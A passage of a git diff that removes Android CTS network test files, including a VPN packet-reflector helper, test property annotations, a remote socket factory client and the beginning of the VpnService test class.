-    private static int IPV4_ADDR_OFFSET = 12;
-    private static int IPV6_ADDR_OFFSET = 8;
-    private static int IPV4_ADDR_LENGTH = 4;
-    private static int IPV6_ADDR_LENGTH = 16;
-
-    private static int IPV4_PROTO_OFFSET = 9;
-    private static int IPV6_PROTO_OFFSET = 6;
-
-    private static final byte IPPROTO_ICMP = 1;
-    private static final byte IPPROTO_TCP = 6;
-    private static final byte IPPROTO_UDP = 17;
-    private static final byte IPPROTO_ICMPV6 = 58;
-
-    private static int ICMP_HEADER_LENGTH = 8;
-    private static int TCP_HEADER_LENGTH = 20;
-    private static int UDP_HEADER_LENGTH = 8;
-
-    private static final byte ICMP_ECHO = 8;
-    private static final byte ICMP_ECHOREPLY = 0;
-
-    private static String TAG = "PacketReflector";
-
-    private FileDescriptor mFd;
-    private byte[] mBuf;
-
-    public PacketReflector(FileDescriptor fd, int mtu) {
-        super("PacketReflector");
-        mFd = fd;
-        mBuf = new byte[mtu];
-    }
-
-    private static void swapBytes(byte[] buf, int pos1, int pos2, int len) {
-        for (int i = 0; i < len; i++) {
-            byte b = buf[pos1 + i];
-            buf[pos1 + i] = buf[pos2 + i];
-            buf[pos2 + i] = b;
-        }
-    }
-
-    private static void swapAddresses(byte[] buf, int version) {
-        int addrPos, addrLen;
-        switch(version) {
-            case 4:
-                addrPos = IPV4_ADDR_OFFSET;
-                addrLen = IPV4_ADDR_LENGTH;
-                break;
-            case 6:
-                addrPos = IPV6_ADDR_OFFSET;
-                addrLen = IPV6_ADDR_LENGTH;
-                break;
-            default:
-                throw new IllegalArgumentException();
-        }
-        swapBytes(buf, addrPos, addrPos + addrLen, addrLen);
-    }
-
-    // Reflect TCP packets: swap the source and destination addresses, but don't change the ports.
-    // This is used by the test to "connect to itself" through the VPN.
-    private void processTcpPacket(byte[] buf, int version, int len, int hdrLen) {
-        if (len < hdrLen + TCP_HEADER_LENGTH) {
-            return;
-        }
-
-        // Swap src and dst IP addresses.
-        swapAddresses(buf, version);
-
-        // Send the packet back.
-        writePacket(buf, len);
-    }
-
-    // Echo UDP packets: swap source and destination addresses, and source and destination ports.
-    // This is used by the test to check that the bytes it sends are echoed back.
-    private void processUdpPacket(byte[] buf, int version, int len, int hdrLen) {
-        if (len < hdrLen + UDP_HEADER_LENGTH) {
-            return;
-        }
-
-        // Swap src and dst IP addresses.
-        swapAddresses(buf, version);
-
-        // Swap dst and src ports.
-        int portOffset = hdrLen;
-        swapBytes(buf, portOffset, portOffset + 2, 2);
-
-        // Send the packet back.
-        writePacket(buf, len);
-    }
-
-    private void processIcmpPacket(byte[] buf, int version, int len, int hdrLen) {
-        if (len < hdrLen + ICMP_HEADER_LENGTH) {
-            return;
-        }
-
-        byte type = buf[hdrLen];
-        if (!(version == 4 && type == ICMP_ECHO) &&
-            !(version == 6 && type == (byte) ICMP6_ECHO_REQUEST)) {
-            return;
-        }
-
-        // Save the ping packet we received.
-        byte[] request = buf.clone();
-
-        // Swap src and dst IP addresses, and send the packet back.
-        // This effectively pings the device to see if it replies.
-        swapAddresses(buf, version);
-        writePacket(buf, len);
-
-        // The device should have replied, and buf should now contain a ping response.
-        int received = readPacket(buf);
-        if (received != len) {
-            Log.i(TAG, "Reflecting ping did not result in ping response: " +
-                       "read=" + received + " expected=" + len);
-            return;
-        }
-
-        byte replyType = buf[hdrLen];
-        if ((type == ICMP_ECHO && replyType != ICMP_ECHOREPLY)
-                || (type == (byte) ICMP6_ECHO_REQUEST && replyType != (byte) ICMP6_ECHO_REPLY)) {
-            Log.i(TAG, "Received unexpected ICMP reply: original " + type
-                    + ", reply " + replyType);
-            return;
-        }
-
-        // Compare the response we got with the original packet.
-        // The only thing that should have changed are addresses, type and checksum.
-        // Overwrite them with the received bytes and see if the packet is otherwise identical.
-        request[hdrLen] = buf[hdrLen];          // Type
-        request[hdrLen + 2] = buf[hdrLen + 2];  // Checksum byte 1.
-        request[hdrLen + 3] = buf[hdrLen + 3];  // Checksum byte 2.
-
-        // Since Linux kernel 4.2, net.ipv6.auto_flowlabels is set by default, and therefore
-        // the request and reply may have different IPv6 flow label: ignore that as well.
-        if (version == 6) {
-            request[1] = (byte)(request[1] & 0xf0 | buf[1] & 0x0f);
-            request[2] = buf[2];
-            request[3] = buf[3];
-        }
-
-        for (int i = 0; i < len; i++) {
-            if (buf[i] != request[i]) {
-                Log.i(TAG, "Received non-matching packet when expecting ping response.");
-                return;
-            }
-        }
-
-        // Now swap the addresses again and reflect the packet. This sends a ping reply.
-        swapAddresses(buf, version);
-        writePacket(buf, len);
-    }
-
-    private void writePacket(byte[] buf, int len) {
-        try {
-            Os.write(mFd, buf, 0, len);
-        } catch (ErrnoException|IOException e) {
-            Log.e(TAG, "Error writing packet: " + e.getMessage());
-        }
-    }
-
-    private int readPacket(byte[] buf) {
-        int len;
-        try {
-            len = Os.read(mFd, buf, 0, buf.length);
-        } catch (ErrnoException|IOException e) {
-            Log.e(TAG, "Error reading packet: " + e.getMessage());
-            len = -1;
-        }
-        return len;
-    }
-
-    // Reads one packet from our mFd, and possibly writes the packet back.
-    private void processPacket() {
-        int len = readPacket(mBuf);
-        if (len < 1) {
-            return;
-        }
-
-        int version = mBuf[0] >> 4;
-        int addrPos, protoPos, hdrLen, addrLen;
-        if (version == 4) {
-            hdrLen = IPV4_HEADER_LENGTH;
-            protoPos = IPV4_PROTO_OFFSET;
-            addrPos = IPV4_ADDR_OFFSET;
-            addrLen = IPV4_ADDR_LENGTH;
-        } else if (version == 6) {
-            hdrLen = IPV6_HEADER_LENGTH;
-            protoPos = IPV6_PROTO_OFFSET;
-            addrPos = IPV6_ADDR_OFFSET;
-            addrLen = IPV6_ADDR_LENGTH;
-        } else {
-            return;
-        }
-
-        if (len < hdrLen) {
-            return;
-        }
-
-        byte proto = mBuf[protoPos];
-        switch (proto) {
-            case IPPROTO_ICMP:
-            case IPPROTO_ICMPV6:
-                processIcmpPacket(mBuf, version, len, hdrLen);
-                break;
-            case IPPROTO_TCP:
-                processTcpPacket(mBuf, version, len, hdrLen);
-                break;
-            case IPPROTO_UDP:
-                processUdpPacket(mBuf, version, len, hdrLen);
-                break;
-        }
-    }
-
-    public void run() {
-        Log.i(TAG, "PacketReflector starting fd=" + mFd + " valid=" + mFd.valid());
-        while (!interrupted() && mFd.valid()) {
-            processPacket();
-        }
-        Log.i(TAG, "PacketReflector exiting fd=" + mFd + " valid=" + mFd.valid());
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/Property.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/Property.java
deleted file mode 100644
index 18805f9..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/Property.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.net.hostside;
-
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.canChangeActiveNetworkMeteredness;
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isActiveNetworkMetered;
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isAppStandbySupported;
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isBatterySaverSupported;
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isDataSaverSupported;
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isDozeModeSupported;
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isLowRamDevice;
-
-public enum Property {
-    BATTERY_SAVER_MODE(1 << 0) {
-        public boolean isSupported() { return isBatterySaverSupported(); }
-    },
-
-    DATA_SAVER_MODE(1 << 1) {
-        public boolean isSupported() { return isDataSaverSupported(); }
-    },
-
-    NO_DATA_SAVER_MODE(~DATA_SAVER_MODE.getValue()) {
-        public boolean isSupported() { return !isDataSaverSupported(); }
-    },
-
-    DOZE_MODE(1 << 2) {
-        public boolean isSupported() { return isDozeModeSupported(); }
-    },
-
-    APP_STANDBY_MODE(1 << 3) {
-        public boolean isSupported() { return isAppStandbySupported(); }
-    },
-
-    NOT_LOW_RAM_DEVICE(1 << 4) {
-        public boolean isSupported() { return !isLowRamDevice(); }
-    },
-
-    METERED_NETWORK(1 << 5) {
-        public boolean isSupported() {
-            return isActiveNetworkMetered(true) || canChangeActiveNetworkMeteredness();
-        }
-    },
-
-    NON_METERED_NETWORK(~METERED_NETWORK.getValue()) {
-        public boolean isSupported() {
-            return isActiveNetworkMetered(false) || canChangeActiveNetworkMeteredness();
-        }
-    };
-
-    private int mValue;
-
-    Property(int value) { mValue = value; }
-
-    public int getValue() { return mValue; }
-
-    abstract boolean isSupported();
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/RemoteSocketFactoryClient.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/RemoteSocketFactoryClient.java
deleted file mode 100644
index 80f99b6..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/RemoteSocketFactoryClient.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.ServiceConnection;
-import android.os.ConditionVariable;
-import android.os.IBinder;
-import android.os.ParcelFileDescriptor;
-import android.os.RemoteException;
-import android.system.ErrnoException;
-import android.system.Os;
-
-import com.android.cts.net.hostside.IRemoteSocketFactory;
-
-import java.io.FileDescriptor;
-import java.io.IOException;
-
-public class RemoteSocketFactoryClient {
-    private static final int TIMEOUT_MS = 5000;
-    private static final String PACKAGE = RemoteSocketFactoryClient.class.getPackage().getName();
-    private static final String APP2_PACKAGE = PACKAGE + ".app2";
-    private static final String SERVICE_NAME = APP2_PACKAGE + ".RemoteSocketFactoryService";
-
-    private Context mContext;
-    private ServiceConnection mServiceConnection;
-    private IRemoteSocketFactory mService;
-
-    public RemoteSocketFactoryClient(Context context) {
-        mContext = context;
-    }
-
-    public void bind() {
-        if (mService != null) {
-            throw new IllegalStateException("Already bound");
-        }
-
-        final ConditionVariable cv = new ConditionVariable();
-        mServiceConnection = new ServiceConnection() {
-            @Override
-            public void onServiceConnected(ComponentName name, IBinder service) {
-                mService = IRemoteSocketFactory.Stub.asInterface(service);
-                cv.open();
-            }
-            @Override
-            public void onServiceDisconnected(ComponentName name) {
-                mService = null;
-            }
-        };
-
-        final Intent intent = new Intent();
-        intent.setComponent(new ComponentName(APP2_PACKAGE, SERVICE_NAME));
-        mContext.bindService(intent, mServiceConnection, Context.BIND_AUTO_CREATE);
-        cv.block(TIMEOUT_MS);
-        if (mService == null) {
-            throw new IllegalStateException(
-                    "Could not bind to RemoteSocketFactory service after " + TIMEOUT_MS + "ms");
-        }
-    }
-
-    public void unbind() {
-        if (mService != null) {
-            mContext.unbindService(mServiceConnection);
-        }
-    }
-
-    public FileDescriptor openSocketFd(String host, int port, int timeoutMs)
-            throws RemoteException, ErrnoException, IOException {
-        // Dup the filedescriptor so ParcelFileDescriptor's finalizer doesn't garbage collect it
-        // and cause our fd to become invalid. http://b/35927643 .
-        ParcelFileDescriptor pfd = mService.openSocketFd(host, port, timeoutMs);
-        FileDescriptor fd = Os.dup(pfd.getFileDescriptor());
-        pfd.close();
-        return fd;
-    }
-
-    public String getPackageName() throws RemoteException {
-        return mService.getPackageName();
-    }
-
-    public int getUid() throws RemoteException {
-        return mService.getUid();
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredProperties.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredProperties.java
deleted file mode 100644
index 96838bb..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredProperties.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.net.hostside;
-
-import static java.lang.annotation.ElementType.METHOD;
-import static java.lang.annotation.ElementType.TYPE;
-import static java.lang.annotation.RetentionPolicy.RUNTIME;
-
-import java.lang.annotation.Inherited;
-import java.lang.annotation.Retention;
-import java.lang.annotation.Target;
-
-@Retention(RUNTIME)
-@Target({METHOD, TYPE})
-@Inherited
-public @interface RequiredProperties {
-    Property[] value();
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredPropertiesRule.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredPropertiesRule.java
deleted file mode 100644
index 01f9f3e..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredPropertiesRule.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.net.hostside;
-
-import static com.android.cts.net.hostside.AbstractRestrictBackgroundNetworkTestCase.TAG;
-
-import android.text.TextUtils;
-import android.util.ArraySet;
-import android.util.Log;
-
-import com.android.compatibility.common.util.BeforeAfterRule;
-
-import org.junit.Assume;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.util.ArrayList;
-import java.util.Collections;
-
-public class RequiredPropertiesRule extends BeforeAfterRule {
-
-    private static ArraySet<Property> mRequiredProperties;
-
-    @Override
-    public void onBefore(Statement base, Description description) {
-        mRequiredProperties = getAllRequiredProperties(description);
-
-        final String testName = description.getClassName() + "#" + description.getMethodName();
-        assertTestIsValid(testName, mRequiredProperties);
-        Log.i(TAG, "Running test " + testName + " with required properties: "
-                + propertiesToString(mRequiredProperties));
-    }
-
-    private ArraySet<Property> getAllRequiredProperties(Description description) {
-        final ArraySet<Property> allRequiredProperties = new ArraySet<>();
-        RequiredProperties requiredProperties = description.getAnnotation(RequiredProperties.class);
-        if (requiredProperties != null) {
-            Collections.addAll(allRequiredProperties, requiredProperties.value());
-        }
-
-        for (Class<?> clazz = description.getTestClass();
-                clazz != null; clazz = clazz.getSuperclass()) {
-            requiredProperties = clazz.getDeclaredAnnotation(RequiredProperties.class);
-            if (requiredProperties == null) {
-                continue;
-            }
-            for (Property requiredProperty : requiredProperties.value()) {
-                for (Property p : Property.values()) {
-                    if (p.getValue() == ~requiredProperty.getValue()
-                            && allRequiredProperties.contains(p)) {
-                        continue;
-                    }
-                }
-                allRequiredProperties.add(requiredProperty);
-            }
-        }
-        return allRequiredProperties;
-    }
-
-    private void assertTestIsValid(String testName, ArraySet<Property> requiredProperies) {
-        if (requiredProperies == null) {
-            return;
-        }
-        final ArrayList<Property> unsupportedProperties = new ArrayList<>();
-        for (Property property : requiredProperies) {
-            if (!property.isSupported()) {
-                unsupportedProperties.add(property);
-            }
-        }
-        Assume.assumeTrue("Unsupported properties: "
-                + propertiesToString(unsupportedProperties), unsupportedProperties.isEmpty());
-    }
-
-    public static ArraySet<Property> getRequiredProperties() {
-        return mRequiredProperties;
-    }
-
-    private static String propertiesToString(Iterable<Property> properties) {
-        return "[" + TextUtils.join(",", properties) + "]";
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
deleted file mode 100755
index 81a431c..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
+++ /dev/null
@@ -1,1165 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import static android.os.Process.INVALID_UID;
-import static android.system.OsConstants.AF_INET;
-import static android.system.OsConstants.AF_INET6;
-import static android.system.OsConstants.ECONNABORTED;
-import static android.system.OsConstants.IPPROTO_ICMP;
-import static android.system.OsConstants.IPPROTO_ICMPV6;
-import static android.system.OsConstants.IPPROTO_TCP;
-import static android.system.OsConstants.POLLIN;
-import static android.system.OsConstants.SOCK_DGRAM;
-
-import android.annotation.Nullable;
-import android.app.DownloadManager;
-import android.app.DownloadManager.Query;
-import android.app.DownloadManager.Request;
-import android.content.BroadcastReceiver;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.database.Cursor;
-import android.net.ConnectivityManager;
-import android.net.ConnectivityManager.NetworkCallback;
-import android.net.LinkProperties;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.NetworkRequest;
-import android.net.Proxy;
-import android.net.ProxyInfo;
-import android.net.Uri;
-import android.net.VpnService;
-import android.net.wifi.WifiManager;
-import android.os.ParcelFileDescriptor;
-import android.os.Process;
-import android.os.SystemProperties;
-import android.provider.Settings;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiSelector;
-import android.system.ErrnoException;
-import android.system.Os;
-import android.system.OsConstants;
-import android.system.StructPollfd;
-import android.test.InstrumentationTestCase;
-import android.test.MoreAsserts;
-import android.text.TextUtils;
-import android.util.Log;
-
-import com.android.compatibility.common.util.BlockingBroadcastReceiver;
-
-import java.io.Closeable;
-import java.io.FileDescriptor;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.DatagramPacket;
-import java.net.DatagramSocket;
-import java.net.Inet6Address;
-import java.net.InetAddress;
-import java.net.InetSocketAddress;
-import java.net.ServerSocket;
-import java.net.Socket;
-import java.net.UnknownHostException;
-import java.nio.charset.StandardCharsets;
-import java.util.ArrayList;
-import java.util.Objects;
-import java.util.Random;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Tests for the VpnService API.
- *
- * These tests establish a VPN via the VpnService API, and have the service reflect the packets back
- * to the device without causing any network traffic. This allows testing the local VPN data path
- * without a network connection or a VPN server.
- *
- * Note: in Lollipop, VPN functionality relies on kernel support for UID-based routing. If these
- * tests fail, it may be due to the lack of kernel support. The necessary patches can be
- * cherry-picked from the Android common kernel trees:
- *
- * android-3.10:
- *   https://android-review.googlesource.com/#/c/99220/
- *   https://android-review.googlesource.com/#/c/100545/
- *
- * android-3.4:
- *   https://android-review.googlesource.com/#/c/99225/
- *   https://android-review.googlesource.com/#/c/100557/
- *
- * To ensure that the kernel has the required commits, run the kernel unit
- * tests described at:
- *
- *   https://source.android.com/devices/tech/config/kernel_network_tests.html
- *
- */
-public class VpnTest extends InstrumentationTestCase {
-
-    // These are neither public nor @TestApi.
-    // TODO: add them to @TestApi.
-    private static final String PRIVATE_DNS_MODE_SETTING = "private_dns_mode";
-    private static final String PRIVATE_DNS_MODE_PROVIDER_HOSTNAME = "hostname";
-    private static final String PRIVATE_DNS_MODE_OPPORTUNISTIC = "opportunistic";
-    private static final String PRIVATE_DNS_SPECIFIER_SETTING = "private_dns_specifier";
-
-    public static String TAG = "VpnTest";
-    public static int TIMEOUT_MS = 3 * 1000;
-    public static int SOCKET_TIMEOUT_MS = 100;
-    public static String TEST_HOST = "connectivitycheck.gstatic.com";
-
-    private UiDevice mDevice;
-    private MyActivity mActivity;
-    private String mPackageName;
-    private ConnectivityManager mCM;
-    private WifiManager mWifiManager;
-    private RemoteSocketFactoryClient mRemoteSocketFactoryClient;
-
-    Network mNetwork;
-    NetworkCallback mCallback;
-    final Object mLock = new Object();
-    final Object mLockShutdown = new Object();
-
-    private String mOldPrivateDnsMode;
-    private String mOldPrivateDnsSpecifier;
-
-    private boolean supportedHardware() {
-        final PackageManager pm = getInstrumentation().getContext().getPackageManager();
-        return !pm.hasSystemFeature("android.hardware.type.watch");
-    }
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-
-        mNetwork = null;
-        mCallback = null;
-        storePrivateDnsSetting();
-
-        mDevice = UiDevice.getInstance(getInstrumentation());
-        mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
-                MyActivity.class, null);
-        mPackageName = mActivity.getPackageName();
-        mCM = (ConnectivityManager) mActivity.getSystemService(Context.CONNECTIVITY_SERVICE);
-        mWifiManager = (WifiManager) mActivity.getSystemService(Context.WIFI_SERVICE);
-        mRemoteSocketFactoryClient = new RemoteSocketFactoryClient(mActivity);
-        mRemoteSocketFactoryClient.bind();
-        mDevice.waitForIdle();
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        restorePrivateDnsSetting();
-        mRemoteSocketFactoryClient.unbind();
-        if (mCallback != null) {
-            mCM.unregisterNetworkCallback(mCallback);
-        }
-        Log.i(TAG, "Stopping VPN");
-        stopVpn();
-        mActivity.finish();
-        super.tearDown();
-    }
-
-    private void prepareVpn() throws Exception {
-        final int REQUEST_ID = 42;
-
-        // Attempt to prepare.
-        Log.i(TAG, "Preparing VPN");
-        Intent intent = VpnService.prepare(mActivity);
-
-        if (intent != null) {
-            // Start the confirmation dialog and click OK.
-            mActivity.startActivityForResult(intent, REQUEST_ID);
-            mDevice.waitForIdle();
-
-            String packageName = intent.getComponent().getPackageName();
-            String resourceIdRegex = "android:id/button1$|button_start_vpn";
-            final UiObject okButton = new UiObject(new UiSelector()
-                    .className("android.widget.Button")
-                    .packageName(packageName)
-                    .resourceIdMatches(resourceIdRegex));
-            if (okButton.waitForExists(TIMEOUT_MS) == false) {
-                mActivity.finishActivity(REQUEST_ID);
-                fail("VpnService.prepare returned an Intent for '" + intent.getComponent() + "' " +
-                     "to display the VPN confirmation dialog, but this test could not find the " +
-                     "button to allow the VPN application to connect. Please ensure that the "  +
-                     "component displays a button with a resource ID matching the regexp: '" +
-                     resourceIdRegex + "'.");
-            }
-
-            // Click the button and wait for RESULT_OK.
-            okButton.click();
-            try {
-                int result = mActivity.getResult(TIMEOUT_MS);
-                if (result != MyActivity.RESULT_OK) {
-                    fail("The VPN confirmation dialog did not return RESULT_OK when clicking on " +
-                         "the button matching the regular expression '" + resourceIdRegex +
-                         "' of " + intent.getComponent() + "'. Please ensure that clicking on " +
-                         "that button allows the VPN application to connect. " +
-                         "Return value: " + result);
-                }
-            } catch (InterruptedException e) {
-                fail("VPN confirmation dialog did not return after " + TIMEOUT_MS + "ms");
-            }
-
-            // Now we should be prepared.
-            intent = VpnService.prepare(mActivity);
-            if (intent != null) {
-                fail("VpnService.prepare returned non-null even after the VPN dialog " +
-                     intent.getComponent() + "returned RESULT_OK.");
-            }
-        }
-    }
-
-    // TODO: Consider replacing arguments with a Builder.
-    private void startVpn(
-        String[] addresses, String[] routes, String allowedApplications,
-        String disallowedApplications, @Nullable ProxyInfo proxyInfo,
-        @Nullable ArrayList<Network> underlyingNetworks, boolean isAlwaysMetered) throws Exception {
-        prepareVpn();
-
-        // Register a callback so we will be notified when our VPN comes up.
-        final NetworkRequest request = new NetworkRequest.Builder()
-                .addTransportType(NetworkCapabilities.TRANSPORT_VPN)
-                .removeCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN)
-                .removeCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
-                .build();
-        mCallback = new NetworkCallback() {
-            public void onAvailable(Network network) {
-                synchronized (mLock) {
-                    Log.i(TAG, "Got available callback for network=" + network);
-                    mNetwork = network;
-                    mLock.notify();
-                }
-            }
-        };
-        mCM.registerNetworkCallback(request, mCallback);  // Unregistered in tearDown.
-
-        // Start the service and wait up for TIMEOUT_MS ms for the VPN to come up.
-        Intent intent = new Intent(mActivity, MyVpnService.class)
-                .putExtra(mPackageName + ".cmd", "connect")
-                .putExtra(mPackageName + ".addresses", TextUtils.join(",", addresses))
-                .putExtra(mPackageName + ".routes", TextUtils.join(",", routes))
-                .putExtra(mPackageName + ".allowedapplications", allowedApplications)
-                .putExtra(mPackageName + ".disallowedapplications", disallowedApplications)
-                .putExtra(mPackageName + ".httpProxy", proxyInfo)
-                .putParcelableArrayListExtra(
-                    mPackageName + ".underlyingNetworks", underlyingNetworks)
-                .putExtra(mPackageName + ".isAlwaysMetered", isAlwaysMetered);
-
-        mActivity.startService(intent);
-        synchronized (mLock) {
-            if (mNetwork == null) {
-                 Log.i(TAG, "bf mLock");
-                 mLock.wait(TIMEOUT_MS);
-                 Log.i(TAG, "af mLock");
-            }
-        }
-
-        if (mNetwork == null) {
-            fail("VPN did not become available after " + TIMEOUT_MS + "ms");
-        }
-
-        // Unfortunately, when the available callback fires, the VPN UID ranges are not yet
-        // configured. Give the system some time to do so. http://b/18436087 .
-        try { Thread.sleep(3000); } catch(InterruptedException e) {}
-    }
-
-    private void stopVpn() {
-        // Register a callback so we will be notified when our VPN comes up.
-        final NetworkRequest request = new NetworkRequest.Builder()
-                .addTransportType(NetworkCapabilities.TRANSPORT_VPN)
-                .removeCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN)
-                .removeCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
-                .build();
-        mCallback = new NetworkCallback() {
-            public void onLost(Network network) {
-                synchronized (mLockShutdown) {
-                    Log.i(TAG, "Got lost callback for network=" + network
-                            + ",mNetwork = " + mNetwork);
-                    if( mNetwork == network){
-                        mLockShutdown.notify();
-                    }
-                }
-            }
-       };
-        mCM.registerNetworkCallback(request, mCallback);  // Unregistered in tearDown.
-        // Simply calling mActivity.stopService() won't stop the service, because the system binds
-        // to the service for the purpose of sending it a revoke command if another VPN comes up,
-        // and stopping a bound service has no effect. Instead, "start" the service again with an
-        // Intent that tells it to disconnect.
-        Intent intent = new Intent(mActivity, MyVpnService.class)
-                .putExtra(mPackageName + ".cmd", "disconnect");
-        mActivity.startService(intent);
-        synchronized (mLockShutdown) {
-            try {
-                 Log.i(TAG, "bf mLockShutdown");
-                 mLockShutdown.wait(TIMEOUT_MS);
-                 Log.i(TAG, "af mLockShutdown");
-            } catch(InterruptedException e) {}
-        }
-    }
-
-    private static void closeQuietly(Closeable c) {
-        if (c != null) {
-            try {
-                c.close();
-            } catch (IOException e) {
-            }
-        }
-    }
-
-    private static void checkPing(String to) throws IOException, ErrnoException {
-        InetAddress address = InetAddress.getByName(to);
-        FileDescriptor s;
-        final int LENGTH = 64;
-        byte[] packet = new byte[LENGTH];
-        byte[] header;
-
-        // Construct a ping packet.
-        Random random = new Random();
-        random.nextBytes(packet);
-        if (address instanceof Inet6Address) {
-            s = Os.socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6);
-            header = new byte[] { (byte) 0x80, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
-        } else {
-            // Note that this doesn't actually work due to http://b/18558481 .
-            s = Os.socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
-            header = new byte[] { (byte) 0x08, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
-        }
-        System.arraycopy(header, 0, packet, 0, header.length);
-
-        // Send the packet.
-        int port = random.nextInt(65534) + 1;
-        Os.connect(s, address, port);
-        Os.write(s, packet, 0, packet.length);
-
-        // Expect a reply.
-        StructPollfd pollfd = new StructPollfd();
-        pollfd.events = (short) POLLIN;  // "error: possible loss of precision"
-        pollfd.fd = s;
-        int ret = Os.poll(new StructPollfd[] { pollfd }, SOCKET_TIMEOUT_MS);
-        assertEquals("Expected reply after sending ping", 1, ret);
-
-        byte[] reply = new byte[LENGTH];
-        int read = Os.read(s, reply, 0, LENGTH);
-        assertEquals(LENGTH, read);
-
-        // Find out what the kernel set the ICMP ID to.
-        InetSocketAddress local = (InetSocketAddress) Os.getsockname(s);
-        port = local.getPort();
-        packet[4] = (byte) ((port >> 8) & 0xff);
-        packet[5] = (byte) (port & 0xff);
-
-        // Check the contents.
-        if (packet[0] == (byte) 0x80) {
-            packet[0] = (byte) 0x81;
-        } else {
-            packet[0] = 0;
-        }
-        // Zero out the checksum in the reply so it matches the uninitialized checksum in packet.
-        reply[2] = reply[3] = 0;
-        MoreAsserts.assertEquals(packet, reply);
-    }
-
-    // Writes data to out and checks that it appears identically on in.
-    private static void writeAndCheckData(
-            OutputStream out, InputStream in, byte[] data) throws IOException {
-        out.write(data, 0, data.length);
-        out.flush();
-
-        byte[] read = new byte[data.length];
